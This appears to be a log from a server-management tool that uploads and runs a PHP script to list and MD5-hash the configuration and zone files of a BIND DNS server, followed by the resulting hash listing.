MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:03:44: Establishing a connection
2026-04-24 16:03:44: 

PUT: /tmp/pkp563432

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:03:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp563432; rm /tmp/pkp563432'

2026-04-24 16:03:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
